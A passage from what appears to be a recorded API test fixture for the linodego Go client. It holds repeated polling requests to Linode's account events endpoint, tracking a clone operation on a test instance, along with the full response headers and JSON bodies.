"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.124133, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.192368, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.258126, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.386925, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.466661, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.531363, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.598913, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.667933, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.729468, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.795109, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.853513, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.914524, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 56.975189, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.042235, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.105935, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.179309, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.303496, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 